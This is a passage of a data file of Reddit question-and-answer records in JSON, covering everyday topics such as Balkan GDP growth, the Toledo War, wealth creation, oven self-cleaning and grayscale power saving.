{"q_id": "dzs12v", "title": "What caused this huge GDP per capita boost in 2002-2008?", "selftext": " \n\nHi guys,  \nI am 22 yo dude from Bulgaria who was looking at GDP per capita for Bulgaria, Serbia and Romania, but later on I checked for Germany and US as well.\n\nDuring the period of 2002-2008 there seems to have been a hugely massive economic boost to The Balkans in particular but other countries as well, and currently for the last 5 years it seems that most countries are not in a period of major growth, even less growth than during the great recession.\n\nSadly for me during this period I was 5 yo so I dont really remember what happened and why", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dzs12v/what_caused_this_huge_gdp_per_capita_boost_in/", "answers": {"a_id": ["f8abi5o", "f8ad9k2", "f8adjbg", "f8aem8s", "f8akmbn", "f8akzmq", "f8amyy4", "f8an864", "f8astth", "f8b9l6z"], "score": [4, 2, 20, 913, 19, 10, 4, 3, 19, 6], "text": ["Unregulated the banks,   Repealed the glass steagall act.    Allowing banks to make fraudulent loans to people who could not afford them then bundle the loans into toxic securities.   Google the glass steagall act repeal.   It\u2019s the reason we will probably have another recession soon.   Well one of them anyway.", "The government (all of them) injected money in the economies and dropped interest rates. This caused a housing bubble worldwide. That translated into an increase in per capita GDP.\n\nIt was precipitated by the .com recession and 9/11, but not really linked. But USA started the interest rate cuts and in economics, if you snooze, you lose, so every other country did the same and bang, worldwide housing bubble = artificial GDP boost.\n\nSide note: USA is trying to do this again now. GDP will rise. It's math.", "There was a big real estate boom in many countries including US, Greece, Spain and many countries around the periphery of Europe vs not as much growth in Germany and France. There was also a lot of excitement around EU enlargement as Eastern European countries were brought into the fold and had a period of catch-up growth as they integrated better with the West. In many Eastern European countries people took out mortgages at low rates that were denominated in Western currencies, which left them exposed to currency risks when the currencies later crashed. The over-exuberance in many of these cases led to looser lending standards and ultimately led to the Great Recession.", "I think you are too young to have a perspective on this timeframe -- that Bulgaria  &  Romania very slowly emerged from the post-communist transition, with very little real political and economic development in the 1990s, while Serbia was an entirely different story, only emerging from dictatorship and war with the 2001 'bulldozer revolution.' (Disclosure: I was there as a consultant to the gov't.)\n\nBeginning around 2001-2002 there was a lot of infrastructure investment from the EU, World Bank, and related institutions such as EBRD and Romania in particular began to get some traction in the private sector. I was very struck with how little changed between visits to Bulgaria in 1995 and 2002. But I believe it's mostly a matter of these public sector transfers from the EU that boosted the Balkans in the run-up to EU accession in 2007 -- partly driven by strategic concerns about security in the Balkans.\n\nBulgaria, Serbia, and Romania had very primitive economies in 2002. They didn't just start to grow on their own. All three stumbled through the process of privatization of large state-owned firms, and it didn't go well. All three were viewed at the time as having a lot of potential because of the well-educated labor force, but things never really took off like we hoped - largely because of the endemic corruption, and out-migration of some of the brightest minds abroad.", "After 2002 it become clear that Ro and Bg are on track to join the EU. Lots of EU businesses started to take the dip in these countries. On the other hand Russian investment accelerated in Bg (to lock in certain advantages before the join), while American interest in Poland and Ro increased significantly. That encouraged lots of investors. Outsourcing industry in these countries increased significantly, as the workforce was super cheap.", "The Balkan economies should not be compared to western economies. The Balkan economies are very underdeveloped when compared to the US for instance. You would see growth for different reasons in both regions during the same period of time.\n\nYou have to go back further to the fall of the Soviet Union and the democratization of the Eastern Bloc in 1989. During the communist years the economies were inhibited by the inherent nature of communism; in the subsequent decade (1990s) there was great political and economic turmoil as these countries (attempted to) eliminated the corruption from their systems. There were wars and various conflicts in Kosovo, Bosnia, Chechnya etc. which inhibited economic growth. All of this meant that you saw very little economic improvement after the fall of European communism. Once the wars cooled down and the governments became more stable in the early 2000s you started to see huge economic growth in the Balkans. This kind of growth is seen in underdeveloped economies as they become more integrated with the global economy. Political stability/no bombs = a good place to do business. These economies are still becoming more integrated with the EU and the rest of the global economy.\n\n The growth seen during the 2000s in the US was due to deregulation of investment banks (repealing the Glass-Steagall Act etc.) allowing for riskier and riskier investment strategies. This growth was built on speculation and not on real economic growth. The bubble finally burst in 2008.\n\nThe guy talking about a recession in 2001 because of 9/11 is talking out his ass. The downturn in 2001 was due to a number of factors (dot-com bubble etc.) but the 9/11 attacks were not a factor. The 2001 downturn started in March and ended in November.", "In some sense, you're asking the wrong question. Exponential growth rates always have this sort of shape to them, where \"most\" of the change is recent. That is, the time series of an exponential growth process has a hockey-stick shape. This is because how much you change this year depends on where you started this year, so if you have a high GDP per capita, you see a larger change in absolute terms. Since you had a much lower GDP per capita 50 years ago vs 20 years ago, growth 50 years ago looks much lower in absolute terms (even though it was probably the same in percent terms). Look at every country and you'll see a similar pattern. (Of course, this pattern was largely interrupted by the 2008 recession -- but this is common to all countries). The real difference between Bulgaria/Romania/etc and the rest of the world is not that they had crazy growth in GDP per capita from 2001-2008, but rather that they had much \\*lower\\* growth \\*before\\* 2001. That is, they were growing much more slowly (or not at all) over the course of the 80's and 90's, while many other developed countries were continuing to grow at relatively steady 1%-2% per year.\n\nSo the better question is, why did Romania/Bulgaria/etc grow so much more slowly in the 80's and 90's than the rest of the world? And the answer to that is almost certainly central planning. It's pretty much undeniable at this point that Soviet-style communism is not an efficient way to organize an economy, and basically every communist country in the world stagnated in the 80's. For smaller countries like Romania and Bulgaria, the fall of the Soviet Union was also a massive economic hit, as many of them were dependent on what amounted to Soviet subsidies for their continued prosperity. When these countries liberalized -- which took a little while -- they continued to grow at a rate comparable (or, often, faster) than the developed world. The slightly-faster-than-normal growth rates starting in 2001 are a result of that liberalization. And, of course, the reason that growth appeared to stop in 2008 was the great recession (which much of the world is still getting over).\n\nSource: I'm an economist.", "A couple of factors. In eastern Europe and the developing world generally there was the recovery from the Asian and Russian financial crisis of the mid to late 1990s. The financial crisis had the positive side effect of wiping out a lot of debts (inflation wiped out the value of the odd currency). Then came the rise in commodity and real estate prices from the early 2000s, coupled with low interest rates with boosted borrowing and thus spending, and low inflation which translated into real income growth. And finally there was trade and investment - which increased massively thanks to expansion of the EU.  These were all temporary boosts, because the economy was really really bad in the 1990s. After the 2008 recession, growth returned to the norm.", "There were different reasons for different countries, and no single answer: \n\n* FDI into Romania and Bulgaria massively increased in the latter part of this period as their joining the EU became inevitable;\n* Serbia really only started to open up once Milosevic was defeated - Serbia was at war in the late 90s into 2000, and coming out of this had big benefits;\n* The US saw essentially a 'bubble' as credit was fast and loose, and massive increase in construction as a result;\n* The introduction of the euro had significant benefits to Germany, moreso than any other country, as their large industrial base benefited from a currency valuation that was \"lower\" due to some of the weaker economies in the block; and\n* A massive expansion in PRC and corresponding increase in certain resource prices.\n\nI'm sure there are more that others can think of, but this is just a small sample.  So it was a combination of things in many places.", "There's also the externality of the American housing market. The leading factor in one's net worth is the value of their house, and all these financial Wall Street companies pushing mortgage backed securities created this illusion that there was more money than what was actually there. All these companies stored billions of dollars in offshore bank accounts - many in Europe, which had a direct effect on the population there because of the EU. When the American housing market collapse, it set off a chain reaction collapsing the world economy in 2008.\n\nIf you haven't seen the movie *The Big Short* I highly recommend it. It's both very educational and entertaining.\n\n[_URL_0_](_URL_0_) \n\nHere's a clip that shows how the world economy collapsed in 2008."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=A25EUhZGBws"]]}
{"q_id": "9lbkfu", "title": "Why did the West become a sitting straight legged culture?", "selftext": "Our usual way to rest or do non-mobile work is to sit on an elevated platform, chair, bench, with the shins mostly vertical, hence called straight-legged sitting. Other cultures, thinking largely in the direction of Asia, squat or sit cross-legged. (Telling, in my native Hungarian the later is called \"Turkish sitting\".)\n\nSeriously it was stupid of us to do so. We lose mobility in our ankles and knees and by 40 we groan when we try to squat. Worst part is how our kind of sitting causes hyperlordosis of the lower back, with discomfort then pain.\n\nTheirs is clearly superior. If you maintain mobility in your ankles and knees, and you can certainly see 70 years old people i.e. Thailand who seem to be able to work comfortably while squatting, you basically have a free chair with you everywhere. Pretty convenient where no chairs around. And squatting pulls the pelvis forward, preventing hyperlordosis.  Same can be said about cross-legged sitting, albeit it usually requires a rug and most often also done on a pillow. But at least you don't need as much furniture and it is still good for the lower back. Japanese kneeling sitting probably the same.\n\n & #x200B;\n\nWhy did we do this? Clearly not because horses, Arabs or Persians had plenty of cavalry. I think elevated sitting was originally a status symbol, see the Roman generals foldable \"throne\" and then everybody else imitated it, like with pants?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9lbkfu/why_did_the_west_become_a_sitting_straight_legged/", "answers": {"a_id": ["e76cjl7"], "score": [51], "text": ["I'm not confident you'll find a definitive answer, but /r/anthropology or /r/askanthropology might be able to track bone densities and other things that might help solve when and where such a divergence initiated.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6228dk", "title": "Were there any Asian powers in a position to settle North America before or during European expansion to the continent/Were there any Asian powers capable of threatening the USA in its infancy? Why didn't this occur?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6228dk/were_there_any_asian_powers_in_a_position_to/", "answers": {"a_id": ["dfjd1vq"], "score": [14], "text": ["Let's start with the last question.  Where there any Asian powers capable of threatening the USA in its infancy?  The answer to that is simple: No.\n\nThis is easily answered because the USA in its infancy was made up of 13 colonies and unorganized territories on the East Coast of North America.  An Asian power would need to not only get to the Americas, but they would have to traverse the Indian Ocean, round the Cape of Good Hope, and then sail north through the Atlantic to even reach the infant USA.  \n\nAnd a single trip would not be sufficient, an Asian power would have needed some sort of ability to supply and maintain an colonization force from their home territories through territory that was already under control of European colonial powers.\n\nIn short, the logistics would have been insurmountably difficult, and there would be powerful European enemies to overcome even before an Asian power could even commit those sort of resources to a late 18th or early 19th Century attack on the USA.  While it would not have been completely impossible, the committment to this sort of endeavor would have had to have been total, very long term, and would have effectively started the first World War to even get close.\n\nI suppose it is possible for them to have landed in what would be California and colonized and then eventually moved across the continent from the West, but they would have still had the logistics problem and would have still been directly opposed by the Spanish, and possibly the French in Louisiana in their ambitions to deal with the young USA.  \n\nMoving on to the question of Asian powers settling in North America, we have to define who was capable of this at any point before the 19th Century.  The answers to this would have been either India or China, but if you consider Russia to have been an Asian country, it would have counted as well.  \n\nTo start off, I should point out that for the most part, the Asian countries capable of exploration completely lacked a motive to actually do so.  The reason for this is that they often viewed themselves as the richest and most desirable place on Earth already.  This high opinion of themselves was not without very good reason.  \n\nFrom the Fall of Rome, to the middle of the 19th Century, the largest city in the world tended to be a Chinese city with only a few interruptions.  \n\nChina and India were already fabulously rich and had high populations throughout most of the period between Ancient Rome and the settlement of the Americas.  Most of the trade in spice, tea, silk, porcelain, and other sought after commodities originated in Asia.  \n\nIn fact, until the Industrial Revolution, the Western world maintained a significant trade deficit with Asia as they had no products that were considered desirable to Asian markets.  This required the West to simply send massive amounts of silver to Asia to pay for these products directly.\n\nIt could be argued the most important reason for this failure to reach North America was quite simply due to lack of motivation to do so, but there were other critical reasons that this might not have occured as well.\n\nThe first issue was the difficulty of reaching North America from Asia.  The Europeans had a relatively short trip accross the Atlantic Ocean to the Americas, and even so, this trip could take weeks or months.  \n\nReading the Americas from Asia had two possible routes in general, both relatively disadvantageous.  \n\nFirst, they had the option of simply sailing west like the Europeans did.  This would be relatively simple to do until they reached the coast of Africa.  Upon reaching Africa, they then had to round the Cape, and sail north. At that point they might be able to sail West to hit South America, but chances are good, they'd hit Europe before they managed to actually take a direct route to North America.  So, this is a really, really, long way to go.  And chances are really good that they would have found quite a few more interesting things long before they even tried to cross the Atlantic Ocean.  Such as a highly developed European continent.  \n\nThe second option was more straightforward but similarly difficult, as it required them to navigate the Pacific Ocean.  The Pacific Ocean is much, much wider than the Atlantic.  It would also have the disadvantage of being almost completely devoid of places to land for supplies once they were in the middle of it.  If Columbus had needed to sail the Pacific instead of the Atlantic for his voyage, his men would have mutinied and turned around long before they even got halfway.  European explorers like Magellan certainly managed it, but the trip could take years and these expeditions often had signficant losses in men and ships.  \n\nAll of that being said, it is clear to me that an Asian power like China did have the sheer technological and economic might to at least make a discovery of North America, if they had the motivation and an inkling that something was waiting for them across the sea.  But they needed the critical motivation and the right experience to make such a voyage possible.  And they needed a little luck on top of that.  East Asia is poorly positioned for a discovery of North America, Europe is relatively close in comparison, but there are exceptions to that.\n\nRemember when I mentioned Russia?  Well if you consider Russia to be an Asian country, they did discover parts of North America.  Alaska to be exact.  And they settled it in 1741, before the foundation of the USA.  This probably doesn't really count for your question because (a) you may consider Russia more of a European power and (b) Russia already knew North America was there when they started looking.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2x4mfr", "title": "what is up with the child entertainers of north korea?", "selftext": "There is a creepy video of all these Korean children playing guitars and bobbing their heads to the music. What makes it creepy is their smiles are fake and rehearsed and they are acting like adults instead of children. In the comments of some of these videos there are claims that if these kids do not perform as they should, they have terrible consequences.\n\nI guess my question is, is there any truth to that?\n\nHere's the video: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2x4mfr/eli5_what_is_up_with_the_child_entertainers_of/", "answers": {"a_id": ["cowum5p"], "score": [2], "text": ["Yes, completely true. These kids are placed into these programs starting at a very early age and usually are \"performers\" for a while. People disguised it as a job of high honor and privilege but these kids go through a hard reality. For example, if you have ever seen the \"mass games\" in NK, there are thousands of child performers. These kids aren't given much food or water. They aren't given sufficient bathroom breaks either. This causes the children to have developing cystitis or other urinary tract ailments. If the kids do not perform as they could, the most common consequence is physical abuse with a stick."]}, "title_urls": [], "selftext_urls": ["http://youtu.be/gSedE5sU3uc"], "answers_urls": [[]]}
{"q_id": "2g4v83", "title": "as a society, why do we latch on to certain things like the ray rice situation, and completely ignore the chris brown/rihanna debacle?", "selftext": "Sure, there was a shit storm about Chris Brown for a few days, but nothing ever came of it like being forced out of music, or his representatives being fired, etc etc. I'm just dumbfounded that we can sand bag the hell out of one guy, but not the other. Are we being tricked or what? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2g4v83/eli5_as_a_society_why_do_we_latch_on_to_certain/", "answers": {"a_id": ["ckfn2nc", "ckfn4cb"], "score": [3, 2], "text": ["At the end of the day Chris Brown is his own brand, while Ray Rice represents the NFL as well as the Baltimore Ravens. Getting another running back is always easier than dealing with that PR nightmare. ", " > Sure, there was a shit storm about Chris Brown for a few days, but nothing ever came of it like being forced out of music, or his representatives being fired, etc etc.\n\nFor one thing, it's a lot easier to force someone out of football than music. Pro football is dominated by one organization, the NFL - they can go nuclear on a player and have it be the end of things, short of Ray Rice going to a league that no one pays attention to. \"Music\" is much more decentralized. Even if no label wanted to touch him, he could release things independently, and he has the fan base to keep him going."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ku063", "title": "why do we get richer if the amount of resources there are on the planet are the same?", "selftext": "As I understand it, globalization means that we all rise and fall together. If one country is doing better, it will be able to buy more products from everyone and therefore this is good for everyone the long run. And to be honest, this baffles me.    \nThe amount of resources there are on the planet stay the same, right? Isn't economy just a way to distrubute our resources to everyone? Isn't that why we have capitalism? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ku063/eli5_why_do_we_get_richer_if_the_amount_of/", "answers": {"a_id": ["c2n7ic8", "c2n7lgg", "c2nardx", "c2n7ic8", "c2n7lgg", "c2nardx"], "score": [2, 38, 2, 2, 38, 2], "text": ["Maybe it has something to do with the harvesting of resources?\n\ni.e.: One country drills oil out of the ground that it didn't have yesterday, another country creates a new technology that it didn't have yesterday and sells it to the people who got the oil... etc", "Because labor does *not* remain constant.\n\nLet's work through an extremely trivial example. Say you and I and a handful of other people all live together in a village under roughly neolithic conditions. That is to say, we subsist by some light farming and animal husbandry and occasional hunting and gathering. We don't have helicopters or anything. Think \"Gilligan's Island.\"\n\nOff to one side of our village is a field where we've planted wheat. What's the value of that field of wheat? In order not to get bogged down in details, let's just say it has some value. It's worth something to us. Why? Because that field of wheat is where we're going to get our primary food supply for the next three months.\n\nBut let's say I go out and harvest that field of wheat, cutting the stalks and bundling them up. What's the value of the harvested wheat stalks? Is it greater or less than the value of the wheat field before I harvested it? It's *greater.* Because I added the value of my labor to the intrinsic value of that field of wheat.\n\nAnd now I take those cut wheat stalks and I thresh them, separating the edible part \u2014 the grains \u2014 from the inedible part. So now I have a few baskets filled with raw grains of wheat \u2026\u00a0what's the value of those baskets, compared to the value of the harvested wheat, compared to the value of that unharvested wheat field? It's *more.* Because again, I added my labor.\n\nAnd so it goes. I mill the wheat into flour, thereby increasing its value. Then I mix the flour with water to make a dough, thereby increasing it again. Then I bake the dough, increasing its value again, until finally I end up with a bunch of loaves of bread that are worth *many, many times more* than the field of wheat they came from.\n\nWhat does this mean in *economic* terms? It means I can sell all those loaves of bread to you and my other neighbors in our village for *many times more* than it would cost them to acquire their own equivalent wheat fields, because bread is more valuable than unharvested wheat is.\n\nThere are also many, many examples of wealth being created without any resources being involved at all. Going back to our little village, maybe instead of being a baker of bread I'm a singer of songs. Every night we all gather around a communal fire in the center of the village and I sing songs. The people in the village prefer to listen to me sing songs at night rather than just staring out into space \u2014\u00a0entertainment is hard to come by in our little village \u2014 so my songs have value, even though absolutely nothing went into creating them but my labor.\n\nThere are even ways to create wealth that involve no labor. Accepting risk is one way to create wealth. This time let's pretend *you* are the baker of bread, and you've just planted your wheat field. You know that if something bad happens to your field \u2014 a drought, or a flood, or locusts \u2014 you won't be able to bake bread, and you'll go hungry come bread-baking time. I see an opportunity in this. I go to you and offer you a deal. If you give me one florin a week \u2014 we call our village's unit of currency a florin, because why not \u2014\u00a0during growing season, I will promise that *if* your crop fails, I'll pay you fifty florins so you can make it through the winter even though you have no bread to sell. I'm *buying your risk* from you with a promise to pay if your crop fails. If your crop *doesn't* fail, I get your one florin a week, and that's how *I* live. If your crop does fail, I have to give you a whole sack of florins \u2026 but I know that more crops will come in than fail, so as long as I do my arithmetic right, I'll come out ahead.\n\nIn other words, wealth and the accumulation thereof is only indirectly related to natural resources, and then only sometimes.", "\"Value\" is not just being redistributed; it's being created through labor. As a species we are becoming increasingly more productive with the resources we do have, so our world GDP is increasing. If the economy does down, that means we're not producing as much as we could be (or we overvalued what we did produce). That's why it's possible that the entire world economy could go down simultaneously. It means we are not being as efficient as we could be. People are not working, capital is not being distributed effectively, etc.", "Maybe it has something to do with the harvesting of resources?\n\ni.e.: One country drills oil out of the ground that it didn't have yesterday, another country creates a new technology that it didn't have yesterday and sells it to the people who got the oil... etc", "Because labor does *not* remain constant.\n\nLet's work through an extremely trivial example. Say you and I and a handful of other people all live together in a village under roughly neolithic conditions. That is to say, we subsist by some light farming and animal husbandry and occasional hunting and gathering. We don't have helicopters or anything. Think \"Gilligan's Island.\"\n\nOff to one side of our village is a field where we've planted wheat. What's the value of that field of wheat? In order not to get bogged down in details, let's just say it has some value. It's worth something to us. Why? Because that field of wheat is where we're going to get our primary food supply for the next three months.\n\nBut let's say I go out and harvest that field of wheat, cutting the stalks and bundling them up. What's the value of the harvested wheat stalks? Is it greater or less than the value of the wheat field before I harvested it? It's *greater.* Because I added the value of my labor to the intrinsic value of that field of wheat.\n\nAnd now I take those cut wheat stalks and I thresh them, separating the edible part \u2014 the grains \u2014 from the inedible part. So now I have a few baskets filled with raw grains of wheat \u2026\u00a0what's the value of those baskets, compared to the value of the harvested wheat, compared to the value of that unharvested wheat field? It's *more.* Because again, I added my labor.\n\nAnd so it goes. I mill the wheat into flour, thereby increasing its value. Then I mix the flour with water to make a dough, thereby increasing it again. Then I bake the dough, increasing its value again, until finally I end up with a bunch of loaves of bread that are worth *many, many times more* than the field of wheat they came from.\n\nWhat does this mean in *economic* terms? It means I can sell all those loaves of bread to you and my other neighbors in our village for *many times more* than it would cost them to acquire their own equivalent wheat fields, because bread is more valuable than unharvested wheat is.\n\nThere are also many, many examples of wealth being created without any resources being involved at all. Going back to our little village, maybe instead of being a baker of bread I'm a singer of songs. Every night we all gather around a communal fire in the center of the village and I sing songs. The people in the village prefer to listen to me sing songs at night rather than just staring out into space \u2014\u00a0entertainment is hard to come by in our little village \u2014 so my songs have value, even though absolutely nothing went into creating them but my labor.\n\nThere are even ways to create wealth that involve no labor. Accepting risk is one way to create wealth. This time let's pretend *you* are the baker of bread, and you've just planted your wheat field. You know that if something bad happens to your field \u2014 a drought, or a flood, or locusts \u2014 you won't be able to bake bread, and you'll go hungry come bread-baking time. I see an opportunity in this. I go to you and offer you a deal. If you give me one florin a week \u2014 we call our village's unit of currency a florin, because why not \u2014\u00a0during growing season, I will promise that *if* your crop fails, I'll pay you fifty florins so you can make it through the winter even though you have no bread to sell. I'm *buying your risk* from you with a promise to pay if your crop fails. If your crop *doesn't* fail, I get your one florin a week, and that's how *I* live. If your crop does fail, I have to give you a whole sack of florins \u2026 but I know that more crops will come in than fail, so as long as I do my arithmetic right, I'll come out ahead.\n\nIn other words, wealth and the accumulation thereof is only indirectly related to natural resources, and then only sometimes.", "\"Value\" is not just being redistributed; it's being created through labor. As a species we are becoming increasingly more productive with the resources we do have, so our world GDP is increasing. If the economy does down, that means we're not producing as much as we could be (or we overvalued what we did produce). That's why it's possible that the entire world economy could go down simultaneously. It means we are not being as efficient as we could be. People are not working, capital is not being distributed effectively, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8wry29", "title": "why does power saving use grayscale?", "selftext": "Companies such as Samsung use grayscale but doesn't that use more power than RGB? I thought so as gray is made up of all three elements but blue is just using the blue led? Why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8wry29/eli5_why_does_power_saving_use_grayscale/", "answers": {"a_id": ["e1xxt8x"], "score": [20], "text": ["LCD screens have white backlights that are filtered through basically tiny colored foils.\n\nIf you want red. You shut the blue and the green subpixels.\n\nAnd since the whole light comes from the backlighting, you basically shut out 2/3 of the generated light.\n\nWith greyscale, all subpixels are \u201eopened\u201c equally and you get the most of the backlight, alowing to dim it and save power."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ifrxn", "title": "why are cell phones excluded from directory listings?", "selftext": "Web sites like _URL_0_ have directory listings for landlines but not cell phones. Why are cell phones excluded? I can understand why some want their phones excluded, but why would the companies want to exclude cell phones? Is it a legal requirement?\n\nMy cell phone number used to be a land line and is included in directory listings and is still classified as a land line.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ifrxn/eli5_why_are_cell_phones_excluded_from_directory/", "answers": {"a_id": ["cl1sotv", "cl1ssrw", "cl1u1k9", "cl1wmuk", "cl1xjjf"], "score": [24, 27, 6, 4, 3], "text": ["The original reason was that cell phones used to always be expensive and by the minute. If you were paying 60\u00a2 a minute you likely only wanted brief calls from people you entrusted with your number.\n\nAlso, I think telephone number listings are an artifact of an earlier time. Most people don't want to be publicly listed and if cell carriers started doing listings that people had to opt out of, or worse pay to opt out of, they'd have a revolution on their hands.", "I used to work for a phone book publisher.\n\nTelephone directories for land lines are a regulatory requirement going back decades. It's part of the tariffs. That's the reason that, if you have a landline, you still get a phone book, even though phone books aren't nearly as profitable as they used to be. I mean, they used to be *extremely* profitable.", "I think it's different in the US, but at least here in the UK mobile phone numbers aren't geographic but phone books are. \n\nAlso pre-paid SIM cards can be bought off the shelf without having to register who bought it so there are lots of mobile numbers that exist but no-one knows who they belong to", "Because it costs me money to answer phone calls.  I don't want every idiot calling me on my phone. ", "Because the owner of a cell phone has to pay for incoming calls as well as outgoing calls.  With landlines (other than special \"toll free\" numbers) there is no cost to the phone's owner for an incoming call."]}, "title_urls": [], "selftext_urls": ["whitepages.com"], "answers_urls": [[], [], [], [], []]}
{"q_id": "3kv662", "title": "why does an oven auto-clean with no problem and leave behind white ashes, but a dirty grill that is overheated can cause a scary-ass fire?", "selftext": "Isn't the principle the same? Heat to a high temp and turn the grease to ash? An oven can be cleaned easy-peasy one afternoon but the porch will be damn near burned down that evening.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kv662/eli5_why_does_an_oven_autoclean_with_no_problem/", "answers": {"a_id": ["cv0t5dz", "cv0t6qo", "cv0tc8o", "cv0zepi"], "score": [27, 2, 4, 6], "text": ["Your oven should have significantly less grease in it than a grill.  If you're getting that much grease into your oven, you're doing something horribly wrong.  Your oven should have, at worst, some bits of food or cheese or a *little* bit of grease that will burn out quickly.  But grilling usually involves dripping fat and grease all over the place.\n\nAlso, your oven is somewhat closed, so there's less oxygen to feed the flames.  But mostly there should be less grease and fat.", "Most of the time the grill is covered in grease and oil which cause grease fires. Ovens usually get breads and starches than greases and oils.", "Even that this is already explained, but ovens and grills have different methods of heat transfer. An oven uses heated coils which heat up the air which cooks the items. A grill on the otherhand exposes the items to a direct source (flame, etc)", "Whoa! Whoa! WHOA!\n\nAuto-clean is a real thing?! I always thought that was a made-up thing in The Sims! ELI5 how does your oven auto-clean?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1jyjd2", "title": "Historical background of Michigan vs Ohio rivalry", "selftext": "I know the local sports teams from these states and cities have some fairly big rivalries, but I believe there is a basis in the political history of the two states that is the origin. Can anyone sum up the background of of all the hate that they feel for each other?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jyjd2/historical_background_of_michigan_vs_ohio_rivalry/", "answers": {"a_id": ["cbjlogi"], "score": [2], "text": ["tl;dr Basically what happened was that Michigan and Ohio had a border dispute during the early 19th century. \n\nIn 1787 the Northwest Ordinance had declared an east west border for Michigan at the southern part of Lake Michigan. In 1802 the Ohio Constitutional Congress received a tip from a fur trapper that the border would fall south of the Maumee River. The Ohioans desperately wanted the Maumee River because at this time water ways were a means of industry. But in 1805 when Michigan was gaining territorial status the surveyors noticed that Lake Michigan was actually further south than thought before and in Michigan's eyes should have the Maumee River and the City of Toledo. The Ohioans in Congress would scream \"OFFSIDES!\" and campaigned heavily to have the northern border accepted as the official border. Then, the US Surveyor General at the time Edward Tiffin (former-governor of Ohio) sent William Harris to survey the land to Ohio's constitution. Then, the territorial governor of Michigan went to the President James Monroe and protested the call. Then John A Fulton is called in, to do another survey of the claim, and what he found is that the two borders were 8 miles apart on the Lake Erie side and 5 miles apart on the Indiana side, equating to 468 Sq. Miles of land. In 1833 Michigan was pushing towards statehood and Ohioans were fearful that the Toledo strip was going to be given to Michigan. But in 1833 the senate sided with Ohio, and Michigan didn't become a state. In 1835 Stevens Mason (the territorial Governor of Michigan) offered to negotiate a solution, but Governor Lucas of Ohio refused. In that same year Ohio formed Lucas County out of the disputed territory. And this was a big deal because before this it had been claimed land, but with no formal organization going on in the small strip of land. After this occurs the Michigan sends their militia to the area, the Toledo war begins. To use the word war is a misnomer, because it was more of a battle of \"one-upmanship\"  Ohio legislature would approve a military budget of X amount and Michigan would raise theirs slightly more than Ohio's, then back again. There was very little bloodshed in the War; Michigan did capture 9 surveyors, and other officials. The only casualty was when an Ohioan named \"Two Stickney\" stabbed a Michigan Sheriff during a bar Brawl. The war ended when Andrew Jackson finally stepped in, he removed Mason from office and the Ohio militia Commander. Congress wouldn't allow Michigan to become a state until it agreed to Ohio's terms on the border. Michigan became the 26th state on 01-26-1837 and its territory didn't include the Toledo strip, but was given 9,000 acres of (thought of at the time as worthless) land in the Western Upper Peninsula.  The \"War\" officially ended on December 14, 1836 at the second Frostbitten Convention in Ann Arbor, MI. The last of the border disputes between Ohio and Michigan was over Turtle Island, which was a small Island outside the Maumee R. and was originally all Michigan, but was split between the two states. In Modern day, the rivalry is restricted to football, and that is where the Michigan-Ohio state rivalry occurs.\n\n\nSources: \n_URL_3_\n\n_URL_0_\n\n_URL_2_\n\n_URL_1_   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ohiohistorycentral.org/w/Toledo_War", "http://en.wikipedia.org/wiki/Maumee_River", "http://en.wikipedia.org/wiki/Toledo_War", "http://www.michigan.gov/dmva/0,4569,7-126-2360_3003_3009-16934--,00.html"]]}
{"q_id": "311nu8", "title": "[Meme] AskScience Memes! The next generation in Science Education.", "selftext": "Here at /r/AskScience we're always on the forefront of teaching, education, and science outreach. We are known as being one of the more heavily moderated subs out there. This effort keeps the discussion here on point and scientific. \n\nHowever, as I have taken over this subreddit I've realized that we're losing out with younger kids because we are less 'hip' than other subs. Luckily, as the top moderator I can make changes to bring us up to speed with today's dank internet culture. \n\nFor years we've provided a place for all netizens to ask about everything from chromosomes to black holes to Monty Hall to [climate change.](_URL_2_)\n\nSadly, one topic has been woefully underrepresented in scientific discourse. [It's a topic whose origins in biology](_URL_0_) exploded to the forefront of internet culture, but which has received little attention from the academic community: memes. We want to change that.\n\nBecause of their popularity and obvious educational value, if you have a question about science and want the use of memes, use the tag [meme] in the title. If not please add [serious] to the title so our panelists can craft the kind of answer you want. [Happy meming!](_URL_1_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/311nu8/meme_askscience_memes_the_next_generation_in/", "answers": {"a_id": ["cpxpy27", "cpxq03a", "cpxq5rd", "cpxqdvm", "cpxqu7m", "cpxr52c", "cpxrfgt", "cpxuqyf", "cpy492g", "cpy6ayt", "cpy6mg0", "cpy7ns9", "cpyb4xs", "cpydjxm", "cpydpcy", "cpzlmpv"], "score": [13, 18, 28, 247, 10, 30, 46, 2, 4, 6, 3, 9, 2, 2, 3, 3], "text": ["I learned about memes from sociology, not biology...", "[not sure if serious](_URL_0_)", "Chemistry cat was just the beginning. I'll get to work on some kind of engineering tortoise. ", "Are the mods going to remove memes that aren't dank enough? I think it's important that we continue to maintain the quality of comments in /r/askscience.", "The evolution of the meme is actually a pretty fascinating concept, from it's original meaning to a cultural reference which spreads through society (e.g. everyone knows 'we're not in Kansas anymore' even if they've never seen The Wizard of Oz), to an often repeated 